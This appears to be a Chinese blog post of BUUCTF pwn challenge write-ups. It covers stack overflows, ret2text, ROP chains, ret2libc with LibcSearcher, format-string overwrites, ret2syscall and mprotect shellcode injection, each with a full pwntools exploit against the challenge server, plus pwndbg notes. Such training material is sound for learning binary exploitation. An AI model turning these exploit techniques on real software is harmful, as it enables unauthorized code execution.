Featured image of post Pwn刷题

Pwn刷题

Pwn刷题

test_your_nc

nc就行,不过有附件可以分析一下

image-20251204214856124

就是/bin/bash,所以nc上去就是shell

1
2
3
from pwn import *
r = remote("node5.buuoj.cn",27726)
r.interactive()

rip

先checksec

64位没有栈保护

image-20251204224705649

main函数里面有gets函数,gets函数不会检查输入字符串的长度,若用户输入的字符串长度超过了 str 所指向数组的大小,就会发生缓冲区溢出。

gets若没有遇到 \n 结束,则会无限读取,没有上限。 gets函数这行的意思是它会把我们在“please input”后输入的东西放进&s中(即gets函数的缓冲区)

双击s

image-20251204231032046

自上往下从第一个函数s到最后一个函数s的地址(都是标蓝的)便是缓冲区大小,可以看到跟前面定义的一样为15

然后查看字符串shift+F12

image-20251204233251543

有system和/bin/bash,双击/bin/bash,要双击左边那个地址

然后Ctrl+X查看哪里调用了它,直接定位到fun函数

image-20251204233650812

现在思路就是利用gets的溢出,返回的地址是fun函数的地址执行fun函数

image-20251204234358681

记录fun函数的地址0x401186

其实在这里直接溢出写exp就行了

1
2
3
4
5
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*15 + p64(0x401186)
r.sendline(payload)
r.interactive()

这里记录一下其他解法

堆栈平衡

需要找lea的地址或者该函数结束即retn的地址

可以拖动ida上方蓝条

image-20251204235627758

这里可以看到lea地址是0x40118A,retn地址是0x401198,由于这个程序是64位的,所以寄存器rbp大小是8

所以前面的15+8=23,因为要保持堆栈平衡,说白了就是对齐

第一种直接后门函数地址+1

1
2
3
4
5
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*23 + p64(0x401186+1)
r.sendline(payload)
r.interactive()

这里加1的话,实际上就从86跳到87

image-20251205003037354

直接跳过了push rbp这8个字节,到mov这里,rbp不变,rsp在mov这步才会不变,这样才会使rsp满足16字节对齐

或者直接跳到8A这里,也会对齐

1
2
3
4
5
from pwn import *
r = remote("node5.buuoj.cn",27884)
payload = b'a'*23 + p64(0x40118A)
r.sendline(payload)
r.interactive()

warmup_csaw_2016

首先还是checksec

image-20260209185919447

没有canary,说明可以栈溢出,没有NX,栈上代码可以执行,没有PIE,代码段的地址是固定的

依旧打开ida看一下,反编译main函数看看

image-20260209190644869

依旧gets函数,这里sprintf也可能栈溢出,不过这里的换行符\n了,不能栈溢出

跟上题一样的做法,双击变量v5看看长度

image-20260209192039957

双击是直接定位到了var_40这里,这里左边0x40就是64,下面返回地址是8,所以溢出到返回地址就是0x40+8,这里也可以动调看偏移量

然后shift+f12去找后面函数或者别的方法

image-20260209193553074

点进去,其实可以右键看调用图,也就是点进去右键Xrefs graph to

image-20260209193829427

发现是sub_40060D调用了它

image-20260209194050890

头地址是0x40060D,依旧拖动上面看看具体的汇编代码

image-20260209194542042

执行读flag地址是0x400611

1
2
3
4
5
from pwn import *
r = remote("node5.buuoj.cn",28200)
p = b'a'*(0x40+8) + p64(0x400611)
r.sendline(p)
r.interactive()

下面记录一下简单的gdb动调程序的过程

1
gdb warmup_csaw_2016

常用指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
**************************************************
pwndbg> start 
# 开始运行,会停留在start函数上(start函数是main函数之前的一个函数) 
**************************************************
pwndbg> q 
# 退出调试
**************************************************
pwndbg> r 
# 从头运行程序直到遇到断点,没有断点则会一直运行到结束
**************************************************
pwndbg> c 
# 继续执行程序直到遇到断点,没有断点则会一直运行到结束
**************************************************
pwndbg> n 
# 单步步过,n不会进入一个小函数
**************************************************
pwndbg> ni 
# 常用,同n,但是是汇编层面的一步
**************************************************
pwndbg> s 
# 步入,比如遇到一个call 什么什么函数,s会进入看看怎么个事 
**************************************************
pwndbg> si 
# 常用,同s,但是是汇编层面的一步
**************************************************
pwndbg> fini 
# 快速运行结束当前函数
**************************************************
pwndbg> context 
# 重新打印页面信息
**************************************************
pwndbg> b function_name
# 比如: b read 在read函数上下断点,运行到read函数的时候就会停止
**************************************************
pwndbg> b *(&function_name+offset)
# 比如: b *(&read + 10) 在read函数+10的地址上下断点,运行到这个地址的时候就会停止
**************************************************
pwndbg> b *0xaddr
# 比如: b *0x408010 那么程序运行到0x408010这个地址的时候就会停止
**************************************************
pwndbg> i b
# 查看断点信息,哪些地方打了断点
**************************************************
pwndbg> delete <断点序号>
# 删除断点序号对应的断点,单独一个delete会删除所有断点
**************************************************
pwndbg> i r
# 查看所有寄存器中存储的数据
**************************************************
pwndbg> i r <registers>
# 查看具体某一个寄存器的值 比如: pwndbg> i r rax
**************************************************
pwndbg> stack <int>
# 查看栈中的信息,具体数量填在stack后面,比如: stack 50
**************************************************
pwndbg> search <string>
# 在程序中查看字符串,可以查看自己输入的信息被存在什么地方了
**************************************************
pwndbg> set $<rigister> = <int>
# 使用set来给寄存器设置自定义的值
**************************************************
pwndbg> bt
# 查看我们当前这个函数的上一个函数是什么
**************************************************
pwndbg> vmmap
# 查看程序各个段的位置以及权限等信息
**************************************************
pwndbg> elf
# 查看elf文件信息
**************************************************
pwndbg> bins
# 查看释放的堆块
**************************************************
pwndbg> heap
# 查看正在使用的堆块
**************************************************

这里我们start或者run,注意这里如果刚拖到虚拟机里面的附件要给权限

1
chmod +x warmup_csaw_2016

这里进调试,先生成字符串

1
cyclic 100

然后run程序,或者先run程序,再生成这个字符串,再按c进行continue就行

输入后程序会崩掉,可以查看rbp的值,再用cyclic计算偏移量

image-20260209203950982

这里学习一下x指令和p指令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# x 命令用于查看内存中的数据。它可以显示指定地址或变量所占内存的内容。
语法如下:x/[n][f][u] addr
n:可选,表示要显示的单元数量,默认为1。
f:可选,表示显示的格式,常见格式包括:
d:十进制整数
x:十六进制
o:八进制
c:字符
f:浮点数
u:可选,表示数据单位,常见单位包括:
b:字节
h:半字(2 字节)
w:字(4 字节)
g:巨字(8 字节)
例子:
x/10x 0x7fffffffe000 # 将以十六进制格式显示从 0x7fffffffe000 开始的10个字节的内容
x/4d my_array # 将以十进制格式查看 my_array 数组的前4个元素
# p 命令用于打印变量的值,通常用于查看变量的当前状态。
语法如下:p [expression]
expression:要打印的变量名或表达式。
例子:
p my_variable # 将输出 my_variable 的当前值
p &my_variable # 使用 & 操作符可以打印变量的地址

ciscn_2019_n_1

checksec

image-20260210105039329

还是没有栈保护,但是有NX,防止注入shellcode,我们之前的攻击方式都叫做ROP,也就是栈溢出覆盖返回地址

ida打开看mian函数

image-20260210105247944

看func函数

image-20260210105306429

可以发现又一次使用gets,可以栈溢出,这里可以看到当v2等于后面那个数的时候,会执行cat /flag

所以这里有两种解法,第一种就是直接利用gets的栈溢出,挟持返回地址到system函数执行cat /flag的地方,第二种就是满足v2的条件,同样也是利用栈溢出来修改v2的值

依旧双击v1变量看看长度

image-20260210105821253

可以看出v1和v2的距离是0x30-0x4,v2的内容只有4字节,因为它是浮点数,通过计算11.28125的16进制是0x41348000,这里把v1填满之后,再填入4字节的数据就会把v2的值覆盖,满足条件后拿到flag

1
2
3
4
5
from pwn import *
r = remote("node5.buuoj.cn",29089)
p = b'a'*(0x30-0x4)+p64(0x41348000)
r.sendline(p)
r.interactive()

另一种就找到func函数中执行命令的地址

image-20260210111455664

可以发现是0x4006BE

1
2
3
4
5
from pwn import *
r = remote("node5.buuoj.cn",29089)
p = b'a'*(0x30+8)+p64(0x4006BE)
r.sendline(p)
r.interactive()

这题也能用ROP来写,先列出gadget

image-20260210163814086

可以发现pop rdi;ret这个gadget,现在我们想要做到的是system('cat /flag')

找system的地址

image-20260210163932217

这里要选择上面那个_system,因为它是plt部分的,是可以执行的system(PLT 位于代码段(.text 段附近),它是 可执行 的),而下面那个system,它其实是个存储槽位,它的内存里保存的是 system 函数在内存中的真正起始地址,它是 8 个字节的数据,不是指令,一般用来泄露libc地址

然后找命令的地址

image-20260210164356516

有了这三个地址,我们就能构造ROP了,但是这里system 函数内部会调用一条汇编指令:movaps,movaps 指令要求操作数的地址必须是 16 字节对齐 的,如果执行 movaps 时,栈指针(RSP 寄存器)没有对齐到 16 字节,CPU 就会抛出异常,导致程序崩溃,我们如果只用这三个地址,rsp增加3*8不是16的倍数,所以会报错,必须补上一个8字节的指令ret,这个ret的作用就是从栈上弹出一个8字节的地址,然后跳转过去

所以我们得到

1
payload = b'a'*0x38 + p64(ret) + p64(pop_rdi) + p64(catflag) + p64(system)

完整exp

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote('node5.buuoj.cn',26015)
pop_rdi=0x400793
ret=0x400501
catflag=0x4007cc
system=0x400530
payload = b'a'*0x38 + p64(ret) + p64(pop_rdi) + p64(catflag) + p64(system)
p.sendline(payload)
p.interactive()

pwn1_sctf_2016

checksec一手

image-20260215134938169

32位NX保护的程序,反编译一下

main函数里面有个vuln函数

image-20260215135111161

这里有个fgets跟前面gets很像,也可能导致栈溢出,然后这整个程序是实现了把输入的I替换成you

然后看左边函数列表有个get_flag函数

image-20260215135419419

明显是利用栈溢出ROP到这个函数,双击s看看长度0x3c,明显大于fagets这里的32,所以要看看别的函数了

现在还剩下replace和strcpy了,这里replace会把一个字符的I换成3个字符的you,其实是可以利用这里,来构成fgets函数的栈溢出的,前面0x3c+4=64,64=3*21+1,也就是我们填入21个I加一个任意字符就能到返回地址,一个简单的ret2text就解决了

1
2
3
4
5
from pwn import *
r = remote('node5.buuoj.cn',27429)
p = b'I'*21 + b'a' + p32(0x08048F0D)
r.sendline(p)
r.interactive()

jarvisoj_level0

checksec

image-20260215160532105

64位NX保护,还是栈溢出的题,反编译

image-20260215160717088

看一下vulnerable_function

image-20260215160734252

实际上是调用了read函数,也存在栈溢出,而且这里数组大小是128,但是确读入0x200u个字符,显然溢出的地方就在这,查看字符串

image-20260215160955716

有binsh和system,可以getshell

找他们的地址

image-20260215161255812

system地址是0x400460,查找/bin/sh的时候找到callsystem函数

image-20260215161512303

image-20260215161539965

1
2
3
4
5
from pwn import *
r = remote('node5.buuoj.cn',26750)
p = b'a'*(0x80+8) + p64(0x40059A)
r.sendline(p)
r.interactive()

由于是64位程序,我们可以用ropgadget找gadget

image-20260215163217379

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
from pwn import *
r = remote('node5.buuoj.cn',26750)
# p = b'a'*(0x80+8) + p64(0x40059A)
system_addr = 0x400460
binsh_addr = 0x400684
pop_rdi = 0x400663
ret_addr = 0x400431
p = b'a'*(0x80+8)
p += p64(pop_rdi)
p += p64(binsh_addr)
p += p64(ret_addr)
p += p64(system_addr)
r.sendline(p)
r.interactive()

[第五空间2019 决赛]PWN5

image-20260215164327422

32位有canary保护的,不能栈溢出了,ida反编译看一下main函数

image-20260221134125196

一眼可以看到满足atoi(nptr) == buf_这个条件就可以getshell,然后我们可以看到printf(buf)这里存在格式化字符串漏洞,然后上面的buf_这个变量是从/dev/urandom里面读取一个随机数跟我们输入的密码比较,atoi是把字符串转成整数的函数

现在的思路就是利用格式化字符串漏洞泄露出buf_的值,或者直接覆盖掉buf_的值,然后输入相同的密码就getshell了,所以还是常规思路,先找覆盖地址,计算偏移,覆盖数值

image-20260221140121804

buf_的起始地址是0x0804C044,接下来就是计算偏移,直接运行程序,古法测试一下偏移

image-20260221141249358

这里0x41414141的位置是第10个,也就是格式化字符串的第10个参数,然后gdb调试看看,在printf函数这里下断点,然后运行,这里一直ni到输入的地方,我们输入AAAA,然后一直走到printf(buf)的地方查看栈结构

image-20260221143431792

变量地址比printf第一个参数高0x28,也就是第40/4=10个参数,所以得到偏移是10,然后就是最后一步覆盖了,先构造payload

1
[addr_buf]%10$n

由于是32位的,这里写入的就是数字4,也就是我们覆盖了密码的值为4

exp

1
2
3
4
5
6
7
from pwn import *
r = remote('node5.buuoj.cn',28464)
buf_addr = 0x0804C044
payload = p32(buf_addr) + b'%10$n'
r.sendline(payload)
r.sendline(b'4')
r.interactive()

这里借这题练习一下覆盖成小数字和大数字的做法

小数字

还是以2为例,构造payload,这里aa%1作为第10个参数,2$nx作为第11个参数,我们要写入的地址作为第12个参数,所以这里填12

1
aa%12$nx[buf_addr]

exp

1
2
3
4
5
6
7
from pwn import *
r = remote('node5.buuoj.cn',28464)
buf_addr = 0x0804C044
payload = b'aa%12$nx' + p32(buf_addr)
r.sendline(payload)
r.sendline(b'2')
r.interactive()

大数字

改进了一下ctfwiki的脚本搓了一个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = f"%{result}c".encode()
    elif prev == word:
        result = 0
        fmtstr = b"" 
    else:
        result = 256 + word - prev
        fmtstr = f"%{result}c".encode()
    
    fmtstr += f"%{index}$hhn".encode()
    return fmtstr

def fmt_str(offset, size, addr, target):
    payload = b"" 
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    
    prev = len(payload) 
    for i in range(4):
        target_byte = (target >> (i * 8)) & 0xff
        payload += fmt(prev, target_byte, offset + i)
        prev = target_byte
    return payload

r = remote('node5.buuoj.cn', 28464)
buf_addr = 0x0804C044
payload = fmt_str(10, 4, buf_addr, 0x10101010)
r.sendline(payload)
r.sendline(str(0x10101010))
r.interactive()

这里fmt_str(10, 4, buf_addr, 0x10101010)其实就是

1
p32(0x804c047)+p32(0x804c046)+p32(0x804c045)+p32(0x804c044)+b'%10$hhn%11$hhn%12$hhn%13$hhn'

因为这里没有填充,所以默认是4个地址相加的值也就是16,对应的就是0x10,最后的密码就是4个0x10拼起来

其实整半天,不如pwntools自带的函数fmtstr_payload函数

1
2
3
4
5
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
offset: 格式化字符串在栈上的偏移量就是之前算的那个 10)。
writes: 一个字典 {地址: 目标值}你可以同时修改多个地址比如 {addr1: val1, addr2: val2}
numbwritten: printf 在输出你的 Payload 之前已经输出的字符数一般默认为 0)。
write_size: 写入方式可选 'byte' (%hhn), 'short' (%hn)  'int' (%n)默认是 'byte'这也是最安全的

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
context.arch = 'i386' 
r = remote('node5.buuoj.cn', 28464)
buf_addr = 0x0804C044
target_val = 0 # 这里随便写个数都行
offset = 10
payload = fmtstr_payload(offset, {buf_addr: target_val})
r.sendline(payload)
r.sendline(str(target_val))
r.interactive()

jarvisoj_level2

checksec

image-20260221154149069

32为NX保护,ida看一下

image-20260221154440421

read函数这里明显栈溢出,有system函数,看一下有没有binsh

image-20260221154747852

那就很简单了

1
2
3
4
5
6
7
from pwn import *
r = remote('node5.buuoj.cn',27716)
binsh_addr = 0x0804A024
system_addr = 0x08048320
payload = b'a'*(0x88+4) + p32(system_addr) + b'AAAA' + p32(binsh_addr)
r.sendline(payload)
r.interactive()

ciscn_2019_n_8

checksec

image-20260222141113653

保护全开了,反编译看一下

image-20260222141508030

满足条件就getshell,查看一下n17这个变量

image-20260222142121206

跟var都在bss段上,var是可控的,var数组的长度是0x94-0x60个长度,填充完var数组,剩下的就会溢出到n17,我们只需要构造溢出,将n17覆盖成17就行

exp

1
2
3
4
5
from pwn import *
r = remote('node5.buuoj.cn', 27977)
payload = b'a'*(0x94-0x60) + p32(17)
r.sendlineafter("What's your name?",payload)
r.interactive()

bjdctf_2020_babystack

checksec

image-20260222143705065

64位NX保护

image-20260222143916715

存在栈溢出,查看buf的大小

image-20260222144533046

image-20260222144658509

查找system地址和binsh地址发现都有,直接getshell了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
from pwn import *
r = remote('node5.buuoj.cn',25196)
system_addr = 0x400590
binsh_addr = 0x400858
pop_rdi = 0x400833
ret_addr = 0x400561
payload = b'a'*(0x18) + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
# payload = b'a'*(0x18) + p64(0x4006EA)
r.sendlineafter("[+]Please input the length of your name:",str(0x40))
r.sendlineafter("[+]What's u name?",payload)
r.interactive()

当然这里其实有后门函数来getshell

image-20260222150331341

ciscn_2019_c_1

checksec

image-20260222193709506

64位NX保护,运行程序像是一个加解密的程序,反编译看看代码

image-20260222194635081

看一下encrypt函数

image-20260222200534167

这里gets存在栈溢出,但是这里strlen检查到有输入的字符串长度的话,就会对输入的字符串进行加密,这里用\0截断strlen,因为strlen判断长度是通过\0的位置来判断的,这里查看函数没有system,也没有binsh,显然是要打ret2libc

首先还是通过第一次溢出算libc基地址

image-20260222201929990

所以偏移是0x58,这里还是用puts的地址来计算libc基地址

image-20260222202527249

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from pwn import *
context.arch = 'amd64'
r = remote('node5.buuoj.cn',27504)
p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
offset = 0x58
pop_rdi = 0x400c83
ret_addr = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
r.sendlineafter("Input your choice!",b'1')
payload = b'\x00' + b'a'*(offset-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Input your Plaintext to be encrypted",payload)
r.recvuntil("Ciphertext")
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("puts_addr: " + hex(puts_addr))

这样我们就拿到了puts的真实地址,但是libc版本不知道,没办法跟之前ctfwiki练习的例子一样直接减去symbols获取的地址来计算,这里就用到libcsearcher这个库

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
r = remote('node5.buuoj.cn',27504)
# p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')
offset = 0x58
pop_rdi = 0x400c83
ret_addr = 0x4006b9
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
r.sendlineafter("Input your choice!",b'1')
payload = b'\x00' + b'a'*(offset-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
r.sendlineafter("Input your Plaintext to be encrypted",payload)
r.recvuntil("Ciphertext")
puts_addr = u64(r.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
print("puts_addr: " + hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
print("libc_base: " + hex(libc_base))
print("system_addr: " + hex(system_addr))
print("binsh_addr: " + hex(binsh_addr))
payload2 = b'\x00' + b'a'*(offset-1) + p64(ret_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
r.sendlineafter("Input your choice!",b'1')
r.sendlineafter("Input your Plaintext to be encrypted",payload2)
r.interactive()

这里libc版本选择0和3都可以打通,也就是libc6_2.27-0ubuntu2_amd64libc6_2.27-3ubuntu1_amd64都行

jarvisoj_level2_x64

image-20260224122357928

64位NX保护

image-20260224123232683

简单的栈溢出,system和binsh地址都有,直接ret2text

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
r = remote('node5.buuoj.cn',28020)
offset = 0x88
binsh_addr = 0x600A90
system_addr = 0x4004C0
pop_rdi = 0x4006b3
ret_addr = 0x4004a1
payload = b'a'*(offset) + p64(pop_rdi) + p64(binsh_addr) + p64(ret_addr) + p64(system_addr)
r.sendline(payload)
r.interactive()

get_started_3dsctf_2016

image-20260224125242758

32位NX保护,查看main函数,有个gets存在栈溢出

image-20260224133143094

查看偏移

image-20260224133354455

偏移是0x38,这里返回地址显示居然没有+4,网上的文章说是外平栈,之前的题目是内平栈,没怎么懂,也就是少了push ebp;mov ebp esp这个操作

然后看到get_flag函数

image-20260224133720272

这里if判断是可以利用栈溢出来跳过判断,直接走到fopen函数这里拿到flag的,查看一下地址

image-20260224135317661

这里我们要跳到0x080489B8,而不是0x080489C0,因为0x080489B8是fopen函数的rt参数负责打开文件并读取

但是我们直接执行

1
payload = b'a'*(0x38) + p32(0x080489B8)

只能本地打通,而远程打不通,这是因为远程环境遇到异常退出就不会回显flag,这里因为fopen函数打开了一个输入流,需要关闭输入流才能回显flag,网上都用的是exit函数

1
2
3
4
5
6
7
8
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
get_flag = 0x080489B8
exit_addr = 0x0804E6A0
payload = b'a'*(offset) + p32(get_flag) + p32(exit_addr)
r.sendline(payload)
r.interactive()

但是远程还是打不通,因为函数最开始是push esi;sub ebp,8的操作,被我们跳过了,当函数正常返回的时候,结尾有个add esp,8;pop esi的操作,这里缺少了push导致esi的位置是错误的,程序就崩溃了,所以还是利用32位函数调用布置栈,函数地址+返回地址+参数1+参数2,满足getflag函数的if判断来getflag吧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
get_flag = 0x080489A0
exit_addr = 0x0804E6A0
a1 = 0x308CD64F
a2 = 0x195719D1
payload = b'a'*(offset) + p32(get_flag) + p32(exit_addr) + p32(a1) + p32(a2)
r.sendline(payload)
r.interactive()

然后这题还有两种别的解法

这题是静态链接的,有一堆函数,所以有丰富的pop和ret指令,可以考虑找找寄存器打ret2syscall,回顾一下ret2syscall需要的寄存器

1
2
3
4
5
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80

利用ROPgadget查找gadget

image-20260224151428948

这里找到

1
2
0x080b91e6 : pop eax ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret

image-20260224151537004

1
0x0806d7e5 : int 0x80

但是找不到binsh的地址,我们就自己构造,一种思路是写入bss段中,第二种是利用寄存器写入

image-20260224152330128

这里有个_tmbuf,可以利用这个来存储我们的binsh

1
.bss:080ECD60 ??                                _tmbuf db    ? ;                        ; DATA XREF: __tz_convert:loc_8090CC1↑o

这里就要利用两次栈溢出了,第一次栈溢出往bss段写入binsh,第二次栈溢出调用execve('/bin/sh')来getshell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
gets_addr = 0x0804F630
main_addr = 0x08048A20
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int_80 = 0x0806d7e5
tmp_buf = 0x080ECD60
payload1 = b'a'*(offset) + p32(gets_addr) + p32(main_addr) + p32(tmp_buf)
r.sendline(payload1)
binsh = b'/bin/sh\x00'
r.sendline(binsh)
payload2 = b'a'*(offset) + p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(tmp_buf) + p32(int_80)
r.sendline(payload2)
r.interactive()

这里也可以用read函数,本质是一样的,然后就是另一种ret2syscall,利用寄存器写入binsh,这里要用ROPgadget找mov指令相关的了

1
2
3
ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret"|grep "eax"
然后找到一条
0x080557ab : mov dword ptr [edx], eax ; ret

这样我们就能利用这条gadget替代前面的gets函数了,但是用寄存器不能一次写入/bin/sh,得分成两步,分别写binsh,因为这是32位的程序,而/bin/sh是8字节的字符串,所以一共写三次payload

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
gets_addr = 0x0804F630
main_addr = 0x08048A20
pop_eax_ret = 0x080b91e6
pop_edx_ecx_ebx_ret = 0x0806fc30
int_80 = 0x0806d7e5
tmp_buf = 0x080ECD60
mov_edx_eax_ret = 0x080557ab
payload = b'a'*(offset)
# 在buf的位置写入/bin
payload += p32(pop_eax_ret) + b'/bin' + p32(pop_edx_ecx_ebx_ret) + p32(tmp_buf) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
# 在buf+4的位置写入/sh\x00
payload += p32(pop_eax_ret) + b'/sh\x00' + p32(pop_edx_ecx_ebx_ret) + p32(tmp_buf+4) + p32(0) + p32(0) + p32(mov_edx_eax_ret)
# 构造execve函数
payload += p32(pop_eax_ret) + p32(0xb) + p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(tmp_buf) + p32(int_80)
r.sendline(payload)
r.interactive()

然后这道题甚至还可以注入shellcode,尽管有NX保护,程序中有mprotect函数,这个函数用于修改内存区域访问权限的系统调用,用法如下

1
2
3
4
5
6
7
8
9
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:需要修改权限的内存区域的起始地址,必须是系统页大小(通常为 4KB)的整数倍。
len:内存区域的长度(字节),系统会自动将其向上取整为页大小的整数倍。
prot:指定新的内存访问权限,是以下常量的按位或组合:
PROT_READ:可读。
PROT_WRITE:可写。
PROT_EXEC:可执行。
PROT_NONE:不可访问。

由于可读可写可执行的顺序是rwx,因此prot = 4(100)表示可读,prot = 2(010)表示可写,prot = 7(111)表示可读可写可执行。

首先要找合适的地址,这里可以用readelf命令查找

image-20260224163124588

如果是ida的话可以用ctrl+S来查找

image-20260224163219626

后三位是000的只有.got.plt这里,而且是可写的,我们可以把这个地址改成shellcode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *
r = remote('node5.buuoj.cn',29619)
offset = 0x38
# pop_edx_ecx_ebx_ret用于清理栈,随便三个pop就行
pop_edx_ecx_ebx_ret = 0x0806fc30
elf = ELF('./get_started_3dsctf_2016')
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
memory = 0x080eb000
payload = b'a'*(offset)
# mprotect的len参数这里选择0x1000,记得也要是4KB的整数倍
payload += p32(mprotect_addr) + p32(pop_edx_ecx_ebx_ret) + p32(memory) + p32(0x1000) + p32(0x7)
# read的返回地址设置成memory,用于执行shellcode,这里第一个参数是0,表示输入,也就是输入往memory输入0x100字节大小的shellcode
payload += p32(read_addr) + p32(memory) + p32(0) + p32(memory) + p32(0x100)
r.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
r.sendline(shellcode)
r.interactive()

这个脚本要在linux里面跑

[HarekazeCTF2019]baby_rop

使用 Hugo 构建
主题 StackJimmy 设计